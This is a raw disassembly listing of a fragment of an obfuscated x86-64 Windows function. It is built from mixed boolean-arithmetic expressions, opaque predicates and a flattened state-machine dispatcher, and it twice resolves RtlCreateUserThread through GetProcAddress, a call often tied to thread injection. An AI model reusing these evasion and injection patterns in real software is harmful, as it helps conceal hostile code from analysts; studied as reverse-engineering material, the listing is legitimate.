and eax, 0x7b9e8939
and ecx, 0x846176c6
or ecx, eax
mov eax, ecx
xor eax, 0x80010206
xor ecx, 0x2828939
and ecx, 0x6e2fdf9
and eax, 0xf91d0206
or eax, ecx
mov ecx, eax
xor ecx, 0x6e2fdf9
xor eax, 0xf91d0206
mov edx, ecx
and edx, 0xfffffffe
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov edx, ecx
not edx
or ecx, 0x8a1134ab
mov ebp, ecx
not ebp
or edx, 0x75eecb54
mov eax, edx
not eax
and ecx, 0x25828ec1
and ebp, 0x506c4114
or ebp, ecx
and edx, 0x25828ec1
and eax, 0x8a11302a
or eax, edx
xor eax, ebp
mov ecx, eax
not ecx
and ecx, 0x8a1134ab
and eax, 0x75eecb54
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x25d5f848
and eax, 0xda2a07b7
or eax, ecx
mov ecx, eax
xor ecx, 0xca220314
xor eax, 0x4c0c800
and eax, 0x14c8cca3
and ecx, 0xeb37335c
or ecx, eax
mov eax, ecx
xor eax, 0x100848a2
xor ecx, 0xc9362300
and ecx, 0xcdf6a701
and eax, 0x320958fe
or eax, ecx
xor eax, 0x320958fe
sete al
setne cl
cmp dword [0x1402656d4], 0xa
setl dl
xor cl, dl
xor al, dl
xor dl, cl
not dl
and dl, cl
mov ecx, eax
xor cl, 1
mov ebx, edx
xor bl, 1
and al, bl
or bl, cl
and cl, dl
or cl, al
mov eax, ebx
xor al, cl
test cl, cl
mov ecx, 0xeca0bc21
mov edx, 0x479e7774
cmovne ecx, edx
test bl, bl
mov ebp, 0xeca0bc21
cmovne ecx, ebp
test al, al
cmove ecx, edx
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov ecx, dword [0x1402656d8]
mov r8d, dword [0x1402656d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
mov edx, ecx
and edx, 0x20411502
and ebp, 0x422e0a08
or ebp, edx
mov ebx, ebp
xor ebx, 0x402a0800
xor ebp, 0xb5514194
or ecx, 0x626f1f0a
mov edx, ecx
not edx
and ebp, 0xb755439c
and ebx, 0x402a1c02
or ebx, ebp
and ecx, 0xb755439c
and edx, 0x880a061
or edx, ecx
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0x9d90e0f5
and edx, 0x626f1f0a
or edx, ecx
mov esi, edx
not esi
mov ecx, esi
and ecx, 0xb945ed16
and edx, 0x46ba12e9
or edx, ecx
mov ecx, edx
xor ecx, 0x46ba12e9
mov ebp, edx
xor ebp, 0x47c2ef6c
and ebp, ecx
or esi, 0xfe87027a
mov ebx, esi
not ebx
mov edi, ebp
not edi
mov eax, edi
and eax, 0xcc01a909
and ebp, 0x33fe56f6
or ebp, eax
or edi, esi
and esi, 0xcc01a909
and ebx, 0x1785484
or ebx, esi
xor ebx, ebp
not edi
or edi, ebx
mov eax, edi
not eax
and eax, 0x178fd84
and edi, 0xfe87027b
or edi, eax
xor edx, 0x8840ec00
and edx, 0x8cd2ec00
mov eax, ecx
and eax, 0x732d13ff
or eax, edx
xor eax, 0x8cd2ec01
and ecx, 1
or ecx, eax
mov eax, ecx
not eax
and eax, 0x3d180719
and ecx, 0xc2e7f8e6
or ecx, eax
mov eax, ecx
xor eax, 0xc0c138a2
mov edx, edi
not edx
xor ecx, 0x3d180719
mov ebp, edx
and ebp, 0x326c44d
and edi, 0xfcd93bb2
or edi, ebp
or edx, ecx
and ecx, 0x326c44d
and eax, 0xfcd93bb2
or eax, ecx
xor eax, edi
not edx
or edx, eax
mov eax, edx
not eax
mov ecx, edx
xor ecx, 0x6302b324
and ecx, edx
or edx, 0x9cfd4cdb
mov ebp, ecx
not ebp
mov ebx, edx
and ebx, 0x24decc12
and eax, 0x43003324
or eax, ebx
or edx, ebp
and ebp, 0x24decc12
and ecx, 0xdb2133ed
or ecx, ebp
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x73c0d408
and edx, 0x8c3f2bf7
or edx, eax
mov eax, edx
xor eax, 0xa5381051
xor edx, 0x1082660c
and edx, 0x5a87ee8e
and eax, 0xa5781171
or eax, edx
xor eax, 0xa5781171
cmp eax, 0xffffffff
sete al
setne r9b
cmp r8d, 0xa
setl bl
cmp r8d, 9
setg cl
mov edx, ebx
and bl, r9b
and r9b, cl
and dl, al
or dl, r9b
xor dl, 1
or dl, cl
and al, cl
or bl, al
mov eax, edx
xor al, bl
xor bl, 1
or bl, dl
xor al, 1
mov edx, ebx
xor dl, al
test al, 1
mov ecx, 0x91c969bf
mov ebp, 0xba119db8
cmovne ecx, ebp
test bl, bl
mov eax, 0x91c969bf
cmovne ecx, eax
test dl, 1
cmove ecx, ebp
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov rcx, qword [0x140265040]
lea rdx, str.RtlCreateUserThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, ecx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ebx, edx
mov ebp, edx
xor ebp, 0x1d329dd8
and ebp, edx
not edx
and edx, 0x20f286bd
and ebx, 0xdf0d7942
or ebx, edx
mov edx, ebx
xor edx, 0xdf0d7942
mov ecx, ebx
xor ecx, 0x3dc01b65
and ecx, edx
mov edi, ecx
and edi, ebp
xor ebp, ecx
or ebp, edi
mov ecx, ebp
not ecx
and ecx, 0xe2cd6226
and ebp, 0x1d329dd9
or ebp, ecx
and edx, 1
xor ebx, 0xdf0d7943
or ebx, edx
mov ecx, ebx
not ecx
mov edx, ebp
not edx
mov edi, edx
and edi, 0x22a46242
and ebp, 0xdd5b9dbd
or ebp, edi
or edx, ebx
and ebx, 0x22a46242
and ecx, 0xdd5b9dbd
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x98d23459
and edx, 0x672dcba6
or edx, ecx
mov ecx, edx
xor ecx, 0x7004306
xor edx, 0x80021409
and edx, 0xe02f9ca9
and ecx, 0x1fd06356
or ecx, edx
mov edx, ecx
xor edx, 0x7502314
xor ecx, 0xe9888
and ecx, 0x188ed8ca
and edx, 0xe7712735
or edx, ecx
xor edx, 0x188ed8ca
cmp edx, 0xffffffff
sete cl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg bl
mov eax, ebx
xor al, cl
xor al, 1
or bl, al
mov r9d, ebx
xor r9b, 1
and al, cl
xor cl, r8b
and cl, r8b
xor al, 1
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
and cl, bl
or bl, al
and al, r9b
or al, cl
mov ecx, eax
xor cl, bl
test al, 1
mov eax, 0x28746eab
mov ebp, 0x3210bac7
cmovne eax, ebp
test bl, 1
mov edx, 0x28746eab
cmovne eax, edx
test cl, 1
cmove eax, ebp
mov ecx, eax
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov ecx, dword [0x1402656d8]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x385c9e95
and ecx, eax
and eax, 0xc7a3616a
or eax, edx
mov edx, eax
xor edx, 0xc7032048
xor eax, 0x385c9e95
mov ebp, ecx
not ebp
mov ebx, eax
and ebx, 0x10b8df36
and edx, 0xef4720c9
or edx, ebx
or eax, ebp
and ebp, 0x10b8df36
and ecx, 0xef4720c9
or ecx, ebp
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x54a3a4ee
mov ebp, eax
and ebp, 0xab5c5b11
or ebp, ecx
mov ecx, ebp
xor ecx, 0xab5c5b11
mov edx, ebp
xor edx, 0x2b88da90
and edx, ecx
and eax, 0x80d48181
mov ebx, edx
and ebx, eax
xor eax, edx
or eax, ebx
mov edx, eax
not edx
and edx, 0x1cb6580b
and eax, 0xe349a7f4
or eax, edx
xor eax, 0x9c62d98b
xor ebp, 0x4403a4c8
and ebp, 0x4e03e6d8
mov edx, ecx
and edx, 0xb1fc1927
or edx, ebp
xor edx, 0x4e03e6d9
and ecx, 1
or ecx, edx
mov edx, ecx
not edx
and edx, 0x27cd620e
and ecx, 0xd8329df1
or ecx, edx
xor ecx, 0xd8329df1
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x1ca81de8
and eax, 0xe357e217
or eax, ecx
mov ecx, eax
xor ecx, 0x10881980
xor eax, 0xe357e217
mov edx, eax
and edx, 0xae24867b
and ecx, 0x51db7984
or ecx, edx
xor ecx, 0x51db7984
or ecx, eax
cmp ecx, 0xffffffff
sete cl
setne dl
cmp dword [0x1402656d4], 0xa
setl r8b
xor dl, r8b
xor dl, 1
mov r10d, r8d
or r10b, cl
xor r10b, 1
or r10b, dl
mov r9d, r10d
xor r9b, 1
mov edx, ecx
xor dl, r8b
and cl, dl
and dl, r8b
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, edx
xor cl, 1
mov ebx, r9d
and bl, r10b
and dl, cl
mov r8d, ebx
and r8b, r9b
xor bl, r9b
or bl, r8b
xor dl, 1
mov r8d, edx
xor r8b, cl
or dl, cl
xor dl, 1
or dl, r8b
mov eax, ebx
xor al, 1
and al, dl
xor dl, 1
and dl, bl
or dl, al
mov eax, r10d
and al, cl
xor cl, r10b
or cl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x5b62cd8d
mov ebp, 0x403f504c
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
test al, 1
mov eax, 0x5b62cd8d
jmp 0x14015cf0e
mov rcx, qword [0x140265040]
lea rdx, str.RtlCreateUserThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0xafd9117d
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov ecx, 0x5b62cd8d
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov ecx, 0xdb335f1c
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov edx, dword [0x1402656d8]
mov esi, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edi, ebp
or edi, 0x3b95717a
mov ebx, ecx
or ebx, 1
and ebx, 0x3b95717b
mov edx, ebp
and edx, 0xc46a8e84
or edx, ebx
and edi, 0x3b95717b
xor edi, edx
and ebp, 0xba567c0a
and ecx, 0x45a983f5
or ecx, ebp
mov edx, ecx
xor edx, 0x45a983f5
xor ecx, 0xba567c0a
and ecx, edi
not edi
and edx, edi
or ecx, edx
xor edi, ecx
test edi, ecx
sete cl
setne r8b
cmp esi, 0xa
setl al
cmp esi, 9
setg r9b
mov edx, eax
and al, r8b
and r8b, r9b
and dl, cl
or dl, r8b
mov ebx, edx
xor bl, r9b
and bl, dl
and cl, r9b
or al, cl
mov ecx, ebx
xor cl, 1
and cl, al
xor al, 1
mov edx, ebx
xor dl, al
and dl, bl
and al, bl
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0x583c1a2a
mov ebx, 0x31f410d0
cmovne ebp, ebx
test al, al
mov ecx, ebp
cmovne ecx, ebx
test dl, dl
jmp 0x14015d6e4
mov rax, qword [rsp + 0x30]
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov ebp, ecx
and ebp, 0xac2c6596
mov edx, edi
and edx, 0x53d39a68
or edx, ebp
xor edx, 0x53d39a68
mov ebx, edi
xor ebx, 0xfffffffe
and ebx, edi
mov ebp, edx
and ebp, ebx
xor ebx, edx
or ebx, ebp
mov ebp, ebx
not ebp
mov edx, ebp
and edx, 0x10ae8192
and ebx, 0xef517e6d
or ebx, edx
and edi, 0x10ae8192
and ecx, 0xef517e6d
or ecx, edi
xor ecx, ebx
not ecx
or ecx, ebp
cmp ecx, 0xffffffff
setne r8b
sete r9b
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov edx, eax
xor dl, r9b
mov ecx, edx
xor cl, al
and cl, dl
or bl, r8b
or al, r9b
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
mov edx, ecx
xor dl, 1
and dl, cl
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
xor dl, al
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x41455f92
mov ebp, 0x1a367e24
cmovne eax, ebp
test dl, 1
mov r14d, 0x1a367e24
cmove eax, ebp
test cl, 1
mov ecx, 0x41455f92
jmp 0x14014f72e
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1401b9360
nop
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret